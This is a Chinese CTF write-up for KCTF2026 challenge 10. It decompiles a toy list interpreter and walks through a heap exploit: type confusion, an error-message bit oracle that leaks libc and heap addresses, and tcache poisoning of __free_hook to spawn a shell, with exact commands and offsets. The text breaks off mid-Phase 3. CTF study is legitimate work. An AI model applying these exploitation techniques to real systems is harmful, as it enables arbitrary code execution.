[原创]KCTF2026 第十题：卯时·曦光初现（AI）-CTF对抗-看雪安全社区

[原创]KCTF2026 第十题：卯时·曦光初现（AI）

发表于: 2026-8-23 16:12 2684

[原创]KCTF2026 第十题：卯时·曦光初现（AI）

Ally Switch 活跃值

2026-8-23 16:12

2684

## 0. 利用概述

**VM 下标遍历的 BEEF-tag 伪头跳跃（类型混淆）→ 任意堆写/读原语 → "报错与否"位 oracle 泄漏 libc 与堆基准 → 按解析期 malloc/free 时间线精准操控 0x20 tcache → 毒化空闲块 fd = __free_hook → 让"下标向量"本身分配在 __free_hook 上，vector[0] = system 直接改写钩子 → 最后一行字符串 free 时触发 system("sh;...") → 交互 shell。**

---

## 1. 程序结构（逆向结果）

### 1.1 主循环 main（sub_2D09）

```c
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char v3; // al
  __int64 v5; // rax
  _BYTE *v7; // rbx
  _QWORD *v8; // rax
  void *v9; // [rsp+0h] [rbp-168h] BYREF
  char v10[16]; // [rsp+10h] [rbp-158h] BYREF
  char buf[264]; // [rsp+20h] [rbp-148h] BYREF
  unsigned __int64 v12; // [rsp+128h] [rbp-40h]

v12 = __readfsqword(0x28u);                                              /*0x2d23*/
  setvbuf(stream: stdin,  buf: 0LL, modes: 2, n: 0LL);                     /*0x2d43*/
  setvbuf(stream: stdout, buf: 0LL, modes: 2, n: 0LL);                     /*0x2d5e*/
  setvbuf(stream: stderr, buf: 0LL, modes: 2, n: 0LL);                     /*0x2d79*/
  memset(buf: buf, value: 0, count: 0x100uLL);                             /*0x2d8d*/
  while ( 1 )
  {
    std::__ostream_insert<char,std::char_traits<char>>(&std::cout, "> ", 2LL);   /*0x2e4a*/
    v6 = *(_QWORD *)(std::cin[0] - 24LL);                                  /*0x2e53*/
    v7 = *(_BYTE **)((char *)&std::cin[30] + v6);                          /*0x2e57*/
    if ( !v7 )                                                            /*0x2e62*/
      std::__throw_bad_cast();                                            /*0x2dab*/
    if ( v7[56] )                                                         /*0x2e68*/
    {
      v3 = v7[67];                                                        /*0x2e72*/
    }
    else
    {
      std::ctype<char>::_M_widen_init(*(_QWORD *)((char *)&std::cin[30] + v6));   /*0x2db3*/
      v3 = (*(...)**)(*(_QWORD *)v7 + 48LL))(v7, 10LL);                    /*0x2dc3*/
    }
    v8 = (_QWORD *)std::istream::getline((std::istream *)std::cin, buf: buf, n256: 256LL, v3);   /*0x2e84*/
    if ( (*((_BYTE *)v8 + *(_QWORD *)(*v8 - 24LL) + 32) & 2) != 0 )        /*0x2e95*/
      break;                                                              // EOF → 退出
    if ( buf[0] )                                                         /*0x2ea0*/
    {
      v9 = v10;                                                           /*0x2ea9*/
      std::string::_M_construct<char const*>(&v9, buf, &buf[strlen(buf)]); /*0x2ed5*/   // 堆分配点①行字符串
      v5 = sub_2B14(&v9, (unsigned int)buf);                              /*0x2df9*/   // parse → AST 节点
      if ( v9 != v10 )
        operator delete(v9);                                              /*0x2e0a*/
      if ( v5 )                                                           /*0x2e12*/
      {
        if ( !(**(_QWORD ****)v5)(v5, &unk_2062A0) )                      /*0x2e25*/   // vtable[0]=execute，参数 ctx@0x2062A0
        {
          std::__ostream_insert<char,std::char_traits<char>>(&std::cout, "runtime error!", 14LL);   /*0x2f1b*/
          std::endl<char,std::char_traits<char>>(&std::cout);             /*0x2f23*/
        }
        (*(void (__fastcall **)(__int64))(*(_QWORD *)v5 + 16LL))(v5);     /*0x2e35*/   // vtable[0x10]=destroy
      }
      else
      {
        std::__ostream_insert<char,std::char_traits<char>>(&std::cout, "invalid syntax!", 15LL);    /*0x2efa*/
        std::endl<char,std::char_traits<char>>(&std::cout);               /*0x2f02*/
      }
    }
  }
  return 0LL;
}
```

读法要点：

- `getline(cin, buf, 256, '\n')`：每行最长 255，读进 0x100 的栈缓冲 `buf`。
- `_M_construct(&v9, buf, buf+strlen(buf))`：把行内容拷进栈上的 `std::string v9`——**超过 15 字符就在这里 malloc（堆分配点①）**。
- `sub_2B14` = parse；返回 NULL → `invalid syntax!`；非空则调虚表第一项 `execute(v5, &unk_2062A0)`——**第二参数就是 ctx 数组（0x2062A0）**；返回 0 → `runtime error!`；最后虚表 +0x10 项 = destroy（释放向量与节点）。
- "main=0x2D09" 的认定依据：ELF 入口 0x1DB0 处 `lea rdi,[rip+0xf35] # 2d09` 后调 `__libc_start_main`（stripped 二进制里定位 main 的标准方法）。

全局变量（交叉引用确认）：

- `0x2062A0`：`uint64 ctx[256]` —— 变量表（槽号 0..255，即 `$n`）。
- `0x206AA0 / 0x206AA8`：自定义 arena 的 begin / cursor。静态初始化函数（0x2F50 附近）里 `operator new(0x10000)` 的返回值存进 0x206AA0——arena 是启动时分配的一块 64KB 内存，位于 tcache_perthread_struct 之后、其余堆块之前（**这是后面"列表元素区与 tcache 空闲块同处一段堆"的前提**）。
- `0x206AB0`：cookie，启动时从 `/dev/urandom` 读 8 字节。

### 1.2 命令语法与调度：parse（sub_2B14）

```c
__int64 __fastcall sub_2B14(__int64 *a1, unsigned int buf)      // a1 = 行字符串 {ptr, len}
{
  ...
  n2 = a1[1];                                    // len
  if ( !n2 )                    return 0LL;
  v3 = (_BYTE *)*a1;                              // 行首
  if ( *v3 != 36 || n2 <= 1 )   return 0LL;       // 必须以 '$' 开头
  if ( (unsigned int)((char)v3[1] - 48) > 9 )  return 0LL;   // '$' 后必须是数字
  if ( n2 <= 2 )                return 0LL;
  n2_1 = 2;                                       // 从下标 2 起扫过数字串
  if ( (unsigned int)((char)v3[2] - 48) > 9 )
  {
LABEL_9:
    v10 = v11;                                    // 栈上 std::string（SSO）
    v5 = v3 + 1;                                  // token = '$' 之后的内容
    n2_2 = n2 - 1;
    if ( n2 - 1 > n2_1 )  n2_2 = n2_1;
    std::string::_M_construct<char const*>(&v10, v5, (char *)n2_2 + v5);   // token 子串
    v9 = sub_3A37(&strtoul, "stoul", v10, 0LL, 10LL);    // 槽号 = stoul(token)
    if ( v10 != v11 )
      operator delete(v10);
    switch ( *((_BYTE *)n2_1 + *a1) )             // 数字串结束处是什么字符？
    {
      case '%': case '&': case '*': case '+':
      case '-':  case '/':  case '^': case '|':
        result = sub_263C(a1, n2_1, v9);          // → BinOp 语句节点
        break;
      case '=':
        result = 0LL;
        if ( n2_1 + 1 < n2 )
        {
          n91 = *((_BYTE *)n2_1 + *a1 + 1);       // '=' 后面跟什么？
          if ( n91 == 36 )                        // '$' → $d=$s 形态
            result = sub_22D7(a1, n2_1 + 2, v9);  // → Load 语句节点
          else if ( n91 == 91 || (unsigned int)(n91 - 48) <= 9 )   // '[' 或数字
            result = sub_2ABC(a1, n2_1 + 1, v9);  // → Number/List 字面量节点
          else
            result = 0LL;
        }
        break;
      case '[':
        result = sub_1F91(a1, n2_1, v9);          // → $d[...] Store 语句节点
        break;
      default:
        result = 0LL;                             // 其余一律 invalid syntax!
        break;
    }
  }
  else { /* 继续扫数字串，直到非数字 → LABEL_9 */ }
  return result;
}
```

调度全景（命令 → 解析入口 → execute/物化函数）：

| 命令 | 解析入口 | execute / 物化 | 效果 |
|---|---|---|---|
| `$a + $b`（`- * / % ^ \| &` 同） | sub_263C | **sub_30DE**（BinOp） | `ctx[a] = ctx[a] op ctx[b]`，**全 64 位、无截断**；两操作数高 16 位均不得为 0x1337（列表句柄） |
| `$d=<十进制>` / `$d=[e0,e1,...]` | sub_2ABC | **sub_309E**（Assign）+ **sub_31DC**（List 物化） | 字面量只有 48 位有效（实测高位必须靠 BinOp 构造）；列表落盘 arena，句柄 = `0x1337<<48 \| ptr` |
| `$d=$s` / `$d=$s[i][j]...` | sub_22D7 | **sub_36E6**（Load） | 无下标：`ctx[d]=ctx[s]`；有下标：逐层下钻读元素（`^cookie` 解密） |
| `$d[i]=$s`（`$d[i][j]=$s`…） | sub_1F91 | **sub_3886**（Store） | 逐层下钻，写 `cookie ^ ctx[s]`；`ctx[s]` 不得为列表句柄 |

`sub_3A37` 是 `stoul` 的 try/catch 包装（异常消息里带 `"stoul"` 字串）：下标数字串为空时 `stoul("")` 抛 `std::invalid_argument`，**未被捕获 → std::terminate → 直接 abort**（这是起壳行不能带 `x`/空下标的根因）。

### 1.3 各节点函数（F5 原文）

**Assign 的 execute（sub_309E）**——`ctx[槽] = 右值节点.物化(arena)`：

```c
__int64 __fastcall sub_309E(__int64 a1, __int64 a2)      // a1=节点, a2=ctx
{
  n0xFF = *(_QWORD *)(a1 + 16);                          // 目标槽号
  result = 0LL;
  if ( n0xFF <= 0xFF )
  {
    *(_QWORD *)(a2 + 8 * n0xFF) = (*(..**)(**(a1+8) + 16LL))(*(a1+8), &qword_206AA0);
                                   // ↑ 调右值子节点 vtable+0x10，参数 = &arena{begin,cursor}
    return 1LL;
  }
  return result;                                         // 槽号 >255 → runtime error
}
```

**List 的物化（sub_31DC）**——在 arena cursor 处落盘，返回 `0x1337<<48 | ptr`：

```c
__int64 __fastcall sub_31DC(__int64 a1, _QWORD *a2)      // a2 = &qword_206AA0 = {begin, cursor}
{
  n0x1FFF = (*(..**)(*(_QWORD *)a1 + 24LL))(a1);         // 子节点 count()（vtable+0x18）
  if ( n0x1FFF > 0x1FFF || (v3 = a2[1], v4 = v3 + 8 * n0x1FFF, v4 > *a2 + 0x10000LL)
       || (a2[1] = v4, !v3) )                            // cursor+8n 超出 64KB arena
  {
    std::__ostream_insert<char,std::char_traits<char>>(&std::cout,
        "run out of memory, garbage collection has not been implemented yet", 66LL);
    std::endl<char,std::char_traits<char>>(&std::cout);
    exit(1);                                             // arena 满 = 直接退进程
  }
    (*(void (__fastcall **)(__int64, __int64))(*(_QWORD *)a1 + 32LL))(a1, v3);   // 子节点.fill(头地址)（vtable+0x20）
  return v3 | 0x1337000000000000LL;                      // ← 列表句柄 = 0x1337<<48 | ptr
}
```

**BinOp 的 execute（sub_30DE）**——8 种运算、全 64 位：

```c
__int64 __fastcall sub_30DE(__int64 a1, __int64 a2)
{
  n0xFF_1 = *(_QWORD *)(a1 + 16);                        // 目标槽（左操作数）
  result = 0LL;
  if ( n0xFF_1 <= 0xFF )
  {
    n0xFF = *(_QWORD *)(a1 + 8);                         // 源槽（右操作数）
    if ( n0xFF <= 0xFF )
    {
      v5 = *(_QWORD *)(a2 + 8 * n0xFF);                  // ctx[b]
      if ( (v5 & 0xFFFF000000000000LL) != 0x1337000000000000LL )   // 不能是列表句柄
      {
        v6 = (unsigned __int64 *)(a2 + 8 * n0xFF_1);     // &ctx[a]
        v7 = *v6;
        if ( (*v6 & 0xFFFF000000000000LL) != 0x1337000000000000LL )
        {
          switch ( *(_DWORD *)(a1 + 24) )                // 运算符编号
          {
            case 0: *v6 = v7 + v5; result = 1LL; break;
            case 1: *v6 = v7 - v5; result = 1LL; break;
            case 2: *v6 = v7 * v5; result = 1LL; break;
            case 3: *v6 /= v5;      result = 1LL; break;
            case 4: *v6 = v7 % v5;  result = 1LL; break;
            case 5: *v6 = v7 ^ v5;  result = 1LL; break;
            case 6: *v6 = v7 | v5;  result = 1LL; break;
            case 7: *v6 = v7 & v5;  result = 1LL; break;
            default: result = 0LL; break;
          }
        }
      }
    }
  }
  return result;
}
```

注意：它只拦 `0x1337` 高 16 位（列表句柄），**其它高 16 位值（比如我们构造的 `0xBEEF<<48`）完全自由参与运算**——伪头模板能通过 `$4*$2`、`$7|$S` 拼出来正赖于此。

**下钻函数 sub_1EDA（整个漏洞的核心）**——从节点头 p 前进 i 个"元素"：

```c
_QWORD *__fastcall sub_1EDA(_QWORD *a1, unsigned __int64 i)
{
  v2 = qword_206AB0;                                     // cookie
  v3 = *a1 ^ qword_206AB0;                               // 解密节点头
  if ( (v3 & 0xFFFF000000000000LL) != 0xBEEF000000000000LL )
    return 0LL;                                          // 头 tag 不是 BEEF → 失败
  if ( (v3 & 0xFFFFFFFFFFFFuLL) < i )
    return 0LL;                                          // 下标 i 超过 size → 失败（只要求 i <= size）
  result = a1 + 1;                                       // r = 第一个元素
  if ( i )
  {
    for ( j = 0LL; i != j; ++j )
    {
      if ( ((*result ^ v2) & 0xFFFF000000000000LL) == 0xBEEF000000000000LL )
      {
        result = sub_1EDA(result, (*result ^ v2) & 0xFFFFFFFFFFFFLL);
                                   // ↑ 元素被当成"子链表头"：递归跳跃，步长 = 元素低 48 位
        if ( !result )
          return result;
      }
      else
      {
        ++result;                                        // 标量：步进 8 字节
      }
    }
  }
  return result;                                         // 返回"下标 i 元素"的地址
}
```

**Load 的 execute（sub_36E6）**——`$d=$s[i][j]...`：

```c
__int64 __fastcall sub_36E6(_QWORD *a1, __int64 a2)
{
  n0xFF_1 = a1[1];                                       // 目标槽 d
  result = 0LL;
  if ( n0xFF_1 <= 0xFF )
  {
    n0xFF = a1[2];                                       // 源槽 s
    if ( n0xFF <= 0xFF )
    {
      v5 = *(_QWORD *)(a2 + 8 * n0xFF);                  // ctx[s]
      i_2 = a1[4]; i_3 = a1[3];                          // 下标向量 [begin, end)
      if ( i_3 == i_2 )                                  // 无下标：纯拷贝
      {
        *(_QWORD *)(a2 + 8 * n0xFF_1) = v5;
        return 1LL;
      }
      result = 0LL;
      if ( (v5 & 0xFFFF000000000000LL) == 0x1337000000000000LL )   // 必须是列表句柄
      {
        v8 = (_QWORD *)(v5 & 0xFFFFFFFFFFFFLL);          // 节点头地址
        ...
        i_1 = *i_3;                                      // 第一个下标
        v11 = *v8 ^ qword_206AB0;                        // 解密当前头
        if ( (v11 & 0xFFFF000000000000LL) == 0xBEEF000000000000LL )
        {
          if ( i_1 >= (v11 & 0xFFFFFFFFFFFFuLL) )        // 下标越界检查（对每层都做）
            return 0LL;
          for ( i = i_3 + 1; ; ++i )
          {
            v8 = sub_1EDA(v8, i_1);                      // ← 下钻
            if ( !v8 )  return 0LL;
            if ( i_2 == i )  goto LABEL_16;              // 最后一个下标 → 去读
            i_1 = *i;                                    // 下一个下标
            v13 = *v8 ^ v10;
            if ( (v13 & 0xFFFF000000000000LL) != 0xBEEF000000000000LL )
              return 0LL;                                // 中间落点必须是合法头
            if ( i_1 >= (v13 & 0xFFFFFFFFFFFFuLL) )
              return 0LL;
          }
        }
      }
    }
  }
  return result;

LABEL_16:                                                // 读最终落点
  v14 = qword_206AB0 ^ *v8;
  result = 0LL;
  if ( (v14 & 0xFFFF000000000000LL) != 0xBEEF000000000000LL )
  {
    *(_QWORD *)(a2 + 8 * n0xFF_1) = v14;                 // ctx[d] = *落点 ^ cookie
    return 1LL;
  }
  return result;                                         // 落点解密后是 BEEF 头 → 拒读
}
```

**Store 的 execute（sub_3886）**——`$d[i]=$s`：

```c
__int64 __fastcall sub_3886(_QWORD *a1, __int64 a2)
{
  n0xFF_1 = a1[1];                                       // 值槽 s
  result = 0LL;
  if ( n0xFF_1 <= 0xFF )
  {
    n0xFF = a1[2];                                       // 列表槽 d
    if ( n0xFF <= 0xFF )
    {
      v5 = *(_QWORD *)(a2 + 8 * n0xFF_1);                // ctx[s]
      if ( (v5 & 0xFFFF000000000000LL) != 0x1337000000000000LL )   // 值不能是列表句柄
      {
        i_2 = a1[4]; i_3 = a1[3];
        if ( i_3 == i_2 )                                // 无下标：写回槽
        {
          *(_QWORD *)(a2 + 8 * n0xFF) = v5;
          return 1LL;
        }
        v8 = *(_QWORD *)(a2 + 8 * n0xFF);
        result = 0LL;
        if ( (v8 & 0xFFFF000000000000LL) == 0x1337000000000000LL )  // 必须是列表句柄
        {
          v9 = (_QWORD *)(v8 & 0xFFFFFFFFFFFFLL);        // 节点头
          ...
          i_1 = *i_3;                                    // 第一个下标
          v12 = *v9 ^ qword_206AB0;
          if ( (v12 & 0xFFFF000000000000LL) != 0xBEEF000000000000LL )
            return 0LL;
          if ( i_1 >= (v12 & 0xFFFFFFFFFFFFuLL) )
            return 0LL;                                  // 越界 → runtime error
          for ( i = i_3 + 1; ; ++i )
          {
            v14 = sub_1EDA(v9, i_1);                     // ← 下钻
            v9 = v14;
            if ( i == i_2 )  break;                      // 最后一个下标 → 去写
            i_1 = *i;
            v15 = *v14 ^ v11;
            if ( (v15 & 0xFFFF000000000000LL) != 0xBEEF000000000000LL )
              return 0LL;                                // 中间落点必须是合法头
            if ( i_1 >= (v15 & 0xFFFFFFFFFFFFuLL) )
              return 0LL;
          }
          result = 0LL;
          if ( ((*v9 ^ qword_206AB0) & 0xFFFF000000000000LL) != 0xBEEF000000000000LL )
          {
            *v9 = qword_206AB0 ^ v5;                     // /*0x3a0a*/ 最终写：*落点 = cookie ^ ctx[s]
            return 1LL;
          }
        }
      }
    }
  }
  return result;
}
```

`/*0x3a0a*/` 这条写指令就是 gdb tracer（gdbs18.txt）锚定的 Store 写点。

### 1.4 arena 中的数据结构（嵌套链表）

- 顶层句柄：`ctx[id] = 0x1337_0000_0000_0000 | addr`（sub_31DC 返回值），addr 指向 arena 内的节点头。
- 节点头（8 字节）：存储为 `cookie ^ (0xBEEF_0000_0000_0000 | count)`，随后 count 个元素，每元素 8 字节，内容 `cookie ^ 值`（Store 写入 `cookie ^ ctx[s]`，Load 读出 `*p ^ cookie`，均已在上面 F5 中可见）。
- 每个列表对象共 0x48 字节（8 字节头 + 0x40 元素区，即 8 元素典型列表），按创建顺序紧密排在 arena：第 k 个列表的头位于 `arena_base + k*0x48`。
- Load/Store 对**每个下标**都做两层校验后再 `sub_1EDA` 前进：当前头解密后 tag 必须是 BEEF、且 `下标 < size`；最终落点解密后**不得**是 BEEF 头（是则拒读/拒写——天然 oracle）。

### 1.5 下标语句解析器 sub_1F91（§4 分配时间线的静态依据）

```c
_QWORD *__fastcall sub_1F91(__int64 a1, __int64 *n2, __int64 a3)   // a1=行串{n2_1=扫描位置,a3=列表槽}
{
  ...
  v6 = (_QWORD *)operator new(0x30uLL);                 /*0x1fc8*/  // ← AST 节点（0x40-bin）
  *v6 = off_2059F8;                                     // Store 节点虚表
  v6[2] = a3;                                           // 列表槽
  v6[3] = v6[4] = v6[5] = 0LL;                          // 下标向量 {begin,end,cap} = 空
  ...
        while ( 1 )                                     // 逐下标循环
        {
          n2_6 = n2_7;                                  // 数字串起点（'[' 之后）
          if ( n2_3 > n2_7 && (n2_7[str]-48) <= 9 )
            do ++n2_6; while ( n2_3 != n2_6 && (str[n2_6]-48) <= 9 );   // 扫到数字串尾
          ...
          n2_9 = n2_8 - n2_7;                           // 剩余长度
          if ( n2_9 > n2_6 )  n2_9 = n2_6;              // ← 注意：与"绝对位置"取 min（quirk）
          std::string::_M_construct<char const*>(v21, v15, &v15[n2_9]); // ← token 子串构造
                                                              // 15 位下标 → 18 字符"数字]=$" → malloc(19)
          v12 = sub_3A37(&strtoul, "stoul", v21[0], 0LL, 10LL);        // 下标 = stoul(token)
          v20 = v12;
          n2 = v6[4];
          if ( n2 == v6[5] )                            // end == cap → 容量满
            sub_3C14(v6 + 3, n2, &v20);                 // ← push_back 扩容：cap1=malloc(8)+写入
          else
          {
            *n2 = v12;                                  // 有空位：直接写
            v6[4] += 8LL;
          }
          if ( v21[0] != v22 )
            operator delete(v21[0]);                    // ← token 释放（在 push 之后！）
          if ( n2_3 <= n2_6 )  break;
          if ( str[n2_6] != ']' )  break;
          ...
          n2_7 = n2_6 + 2;                              // 下一个 '[' 之后继续
        }
  ...
  v6[1] = sub_3A37(&strtoul, "stoul", v21[0], 0LL, 10LL);   // '=$n' 的值槽
  return v6;
}
```

三处与堆利用直接相关的细节：`operator new(0x30)`（§4 表的步骤 2）；token 构造与释放夹着 push_back（步骤 3/4/5）；取 `min(剩余长度, 数字串绝对结束位置)` 的 quirk 使 15 位下标的 token 恰为 18 字符（数字+`]=$`），必然超过 SSO 的 15 字符而上堆。

---

## 2. 核心漏洞：BEEF-tag 类型混淆 = 任意前向堆写

### 2.1 漏洞本质

对照 §1.3 的 sub_1EDA：一个元素"是标量还是子链表头"，**完全由它解密后的值的高 16 位是否等于 0xBEEF 决定**——而这个值就是用户通过 Store 写入的数据（`*p = cookie ^ ctx[s]`）。换句话说：**用户数据可以伪装成结构体的类型标记**，典型的类型混淆。

伪头构造（BinOp 64 位运算把值抬进高 16 位）：

```
$2=281474976710656   # 2^48
$4=48879; $4*$2      # ctx4 = 0xBEEF000000000000        ← 伪头模板
$7=$4; $7|$SS        # ctx7 = 0xBEEF000000000000 | SS   ← 拼上跳跃步长
$1[0]=$7             # 种进元素0 → 这个列表的 e0 变成"大小为 SS 的子链表头"
```

### 2.2 落点数学（为什么是任意前向写）

`$1[1]`（单下标 1）的遍历过程：`sub_1EDA(列表头, 1)` 走第 1 个元素时检查 e0——发现它是 BEEF 头 → 递归 `sub_1EDA(e0, SS)` → 从 e1 起步进 SS 次（后续都是零/标量，每次 +8）→ **落点 = e0 + 8*SS**。

第 k 个列表的 e0 地址 = `arena_base + k*0x48 + 0x10`（元素区起点，按 gdb 校准）：

```
落点 = arena_base + k*0x48 + 0x10 + 8*SS
⟹ SS = (目标偏移 - k*0x48 - 0x10) / 8
```

这就是 exp.py 里 `S = (off - head - 0x10) // 8`（`head = NLIST*0x48`）的来历。**读原语**：`$8=$1[1]` 把 `*(落点) ^ cookie` 装进 ctx（§1.3 Load 的 LABEL_16）；**写原语**：`$1[1]=$w` 把 `cookie ^ ctx[w]` 写到落点（§1.3 Store 的 0x3a0a）。

### 2.3 为什么能打到 tcache：堆布局是关键

静态初始化顺序（gdb 实测）：`tcache_perthread_struct(0x250) → 列表 arena(0x10010) → 之后所有按命令分配/释放的堆块`。

也就是说，**伪头跳跃的前方（更高地址）正好是解释器每条命令产生又释放的那批 0x20/0x30/0x40 小块**——它们 free 后都挂在 tcache 里。SS 取 0x2000 多（字节距离 0x10000+）就能直接落在这些空闲块的 fd 字段上。

### 2.4 cookie 归一化（先做，一劳永逸）

- 列表元素存的是 `cookie ^ 值`，读出来的都是被 cookie 污染的值；想写原始字节 `W` 也要先算 `W ^ cookie`。
- arena 尾部（cursor 之后的区域）从未写入，是**零**。对第 0 个列表种 `SS=7` 的伪头，`$9=$1[1]` 落在"下一个列表头"的位置（还是 0）→ `ctx[9] = 0 ^ cookie = cookie`。
- 此后：读到裸值用 `$x^$9`；要写裸值 `W` 就先 `$t=W字面量; $t^$9` 再 Store（落盘 = `cookie ^ (W^cookie) = W`）。

---

## 3. Phase 1：位 oracle 泄漏 libc / 堆基准

### 3.1 输出信道：程序对数值零打印

正常命令成功时**什么都不打印**（§1.1 的 main 只认 execute 的 bool 返回值），只有两种报错：`invalid syntax!`（解析失败）和 `runtime error!`（execute 返回 0）。所以任何信息都得变成"是否报错"的 1bit 信道——这就是 oracle。

### 3.2 位提取算法（bit_cmds 逐条解释）

目标：把某个 ctx 寄存器（如 `$8`，已还原成裸值）的第 i 位读出来。每个位用一组命令：

```
$1=[0,0,0,0,0,0,0,0]        # 新建第 k 个列表（头在 k*0x48，前方全是未用零区）
$3=2^i                      # 位掩码（i≥48 时：$3=2^(i-48); $3*$2 抬高位）
$6=1; $7=$4; $7|$6; $1[1]=$7     # e1 植入伪头 BEEF|1（跳跃步长 1）
$6=$8; $6&$3; $6/$3; $6*$5       # $6 = ((v>>i)&1) * 2000   ← 待测位放大成 0 或 2000
$7=$4; $7|$6; $1[0]=$7           # e0 植入伪头 BEEF|(bit*2000)
$0=$1[1][0]                      # 观测命令：报错 ⟺ bit=1
```

观测命令的双下标遍历（对照 §1.3 Load 的循环）：

- `[1]`：`sub_1EDA(头,1)` 检查 e0 → 它是 BEEF 头 → 递归步长 = **bit\*2000**。
  - bit=0：步长 0，原地返回 e1；
  - bit=1：从 e1 向前走 2000 个元素（约 0x3E80 字节）。前方是**尚未创建的后续列表区域 = 全零标量**（之前创建的列表在低地址，不会被穿过；之后每轮的新列表此刻还不存在），所以一路纯步进，落点是一个零 qword。
- `[0]`：把落点当下一层的头校验（§1.3 Load 中间下标处的检查）：`*(落点)^cookie` 的高 16 位必须是 0xBEEF。
  - bit=0 时落点是 e1（合法 BEEF|1 头）→ 校验通过 → 正常读，**静默**；
  - bit=1 时落点解密出 cookie（随机值，高 16 位 ≈ 不可能等于 0xBEEF）→ 校验失败 → **`runtime error!`**。

于是 **报错=1、静默=0**，36 位（bit 12..47）× 每位约 10 条命令，即可读回任意落点 qword。低 12 位不提取，直接用已知偏移补齐（见 3.3）。

### 3.3 泄漏目标与地址还原

读两个堆上残留的指针（都在列表 arena 之后、命令堆块区里，偏移为 gdb 实测常量）：

| 落点偏移（相对列表 arena） | 内容 | 用途 |
|---|---|---|
| `+0x10078` | `stderr` 的 FILE*（= libc+0x3ec680） | `libc = 值 - 0x3ec680`（低 12 位用 0x680 补） |
| `+0x10098` | 指向 `arena_base+0x100f0` 的自指针 | `列表arena基址 = 值 - 0x100f0`（低 12 位用 0x0f0 补） |

再按本地 gdb 校准的固定修正（同版本二进制 + libc 远程完全一致）：

```
堆基准 = 自指针 - 0x100f0 - 0xe170
R0（0x20-bin 链头空闲块用户指针）= 堆基准 + 0x10240
```

得到 libc 后即可算 `system = libc+0x4f420`、`__free_hook = libc+0x3ed8e8`（Ubuntu 18.04 的 libc6 2.27-3ubuntu1.6，即题目自带 libc-2.27.so）。

---

## 4. 关键前置知识：一条命令的解析期分配时间线

这是整个堆利用的"乐谱"。静态依据是 §1.5 的 sub_1F91（下标语句解析器）源码，动态效果（free 后的 LIFO 复用）由 gdb 断在 malloc/free 上实测（g18/g21/g22.log）。对一条形如 `$1[<15位下标>]=$v`、行长 22 字符的命令，**从读入到结束**依次发生：

| # | 动作 | 大小 → tcache bin | 说明 |
|---|---|---|---|
| 1 | `malloc(行长+1)` 行字符串 | 22 字符行 → malloc(0x17) → **0x20**；≥25 字符 → 0x30 | main 的 `_M_construct`（§1.1 堆分配点①） |
| 2 | `malloc(0x30)` AST 节点 | 0x40 | sub_1F91 开头的 `operator new(0x30uLL)` |
| 3 | `malloc(19)` token | **0x20** | sub_1F91 循环里的 `_M_construct`：token = 下标数字串+`]=$` 共 18 字符（15 位下标时）；≤15 字符走 std::string SSO 不分配 |
| 4 | `malloc(8)` cap1（下标向量 0→1 增长） | **0x20** | `sub_3C14`（push_back 的 realloc 路径）；**分配后立刻 `vector[0] = stoul 结果`** |
| 5 | `free(token)` | 压回 **0x20-bin 头部** | `operator delete(v21[0])`——紧跟在 push 之后 |
| 6 | （≥2 下标才有）`malloc(0x10)` cap2 | **0x20** | 弹出的是步骤 5 刚压回的 token 块；memcpy cap1→cap2，`free(cap1)` |
| 7 | `free(行字符串)` | 压回 | main 里 parse 返回后立刻 `operator delete(v9)` |
| 8 | **EXEC**（§1.3 的 Load/Store：遍历 + 读/写落点） | — | 真正执行漏洞逻辑 |
| 9 | destroy：`free(向量缓冲)`、`free(节点)` | 压回 | 节点是 0x40-bin |

要点：

- **tcache 是 LIFO**：每次 malloc 弹链头，每次 free 压链头。上表的 pop/push 顺序决定了"哪次分配拿到哪块"。
- 步骤 4 的 `vector[0] = 下标` 是**紧跟分配的立即写入**——如果能让 cap1 分配到 `__free_hook`，那么"下标值"本身就是写进钩子的内容。这是 Phase 3 的核心。
- 步骤 5 的 token 回插让"两个下标"方案永远失效（cap2 拿到的是 token 块）——这是第一版失败的原因之一。
- 行长要精确控制：p/t3 都设计成 22 字符（行串 23B→0x20、token 19B→0x20），让行串、token、cap1 **三个 0x20 请求依次连弹三块**。

Phase 1 结束时 0x20-bin 的**静止态**（7 块，实测）：

```
R0(堆基准+0x10240) → R1(+0x10280) → R2(+0x10340) → 0x10260 → 0x103b0 → 0x102d0 → 0x102f0
```

---

## 5. Phase 2：p 命令 —— 毒化且"存活"

### 5.1 目标

把链头空闲块 R0 的 fd（第一个 qword）改成 `__free_hook`，且**这次写入不能被后续的 tcache_put 覆盖掉**。

### 5.2 第一版为什么失败（g21.log 抓的现行）

1. **自毒化自毁**：毒化命令自己的 cap1 恰好弹出 R0（毒化目标本身）→ EXEC 把 fd 改成 __free_hook → destroy 时 `free(自己的向量=R0)` 走 `tcache_put`，**用旧 fd 把刚写的 __free_hook 又覆盖回去**。毒化目标不能是"自己还要释放的那块"。
2. **token 挤占**：触发命令若有第二个下标，cap2 的分配夹在 `free(token)` 之后（§4 步骤 5/6）→ cap2 永远拿到 token 块而非毒化块 → 放弃 cap2 方案。

### 5.3 p 命令：把毒化目标挪到"自己的行字符串块"

```
p: $1[000000000000001]=$6      # 22 字符；下标故意写成 15 位前导零补齐
                               # $6 已算好 = __free_hook ^ cookie（Store 落盘即裸值 __free_hook）
```

按 §4 时间线逐步推演（起点：链头 R0→R1→R2→…）：

| 步骤 | 动作 | 0x20-bin 链状态 |
|---|---|---|
| 1 | 行字符串 malloc → 弹 **R0** | R1→R2→… |
| 3 | token malloc → 弹 **R1** | R2→… |
| 4 | cap1 malloc → 弹 **R2**，`vector[0]=1` | …（后续块） |
| 5 | free(token)：压回 R1 | R1→… |
| 7 | free(行字符串)：**压回 R0** | **R0**→R1→… |
| 8 | EXEC：伪头跳跃落点 = R0，写 `*R0 = __free_hook`（覆盖 fd=R1） | R0→**__free_hook**（毒化生效） |
| 9 | destroy：free(向量=R2)、free(节点) | **R2→R0→__free_hook** |

**存活的关键**：EXEC 写 fd 时，R0 已经是"回到 bin 里的空闲块"，而它**不是** p 自己的向量（向量是 R2）——destroy 压回的是 R2，不碰 R0 的 fd。最终链 `R2 → R0 → __free_hook`，这正是我们想要的静止态。

（写入合法性：Store 要求落点解密后高 16 位 ≠ 0xBEEF（§1.3）——R0 的 fd 是堆指针，显然满足。）

---

## 6. Phase 3：t3 让 cap1 分配到 __free_hook 上 + k 起壳

### 6.1 t3：三连弹，第三块就是钩子

```
t3: $1[<15位十进制的system>]=$5     # 同样 22 字符、单下标；$5=2000 只是占位
```

当前链头 `R2 → R0 → __free_hook`，按时间线：

| 步骤 | 动作 | 链状态 |
|---|---|---|
| 1 | 行字符串 malloc → 弹 **R2** | R0→__free_hook |
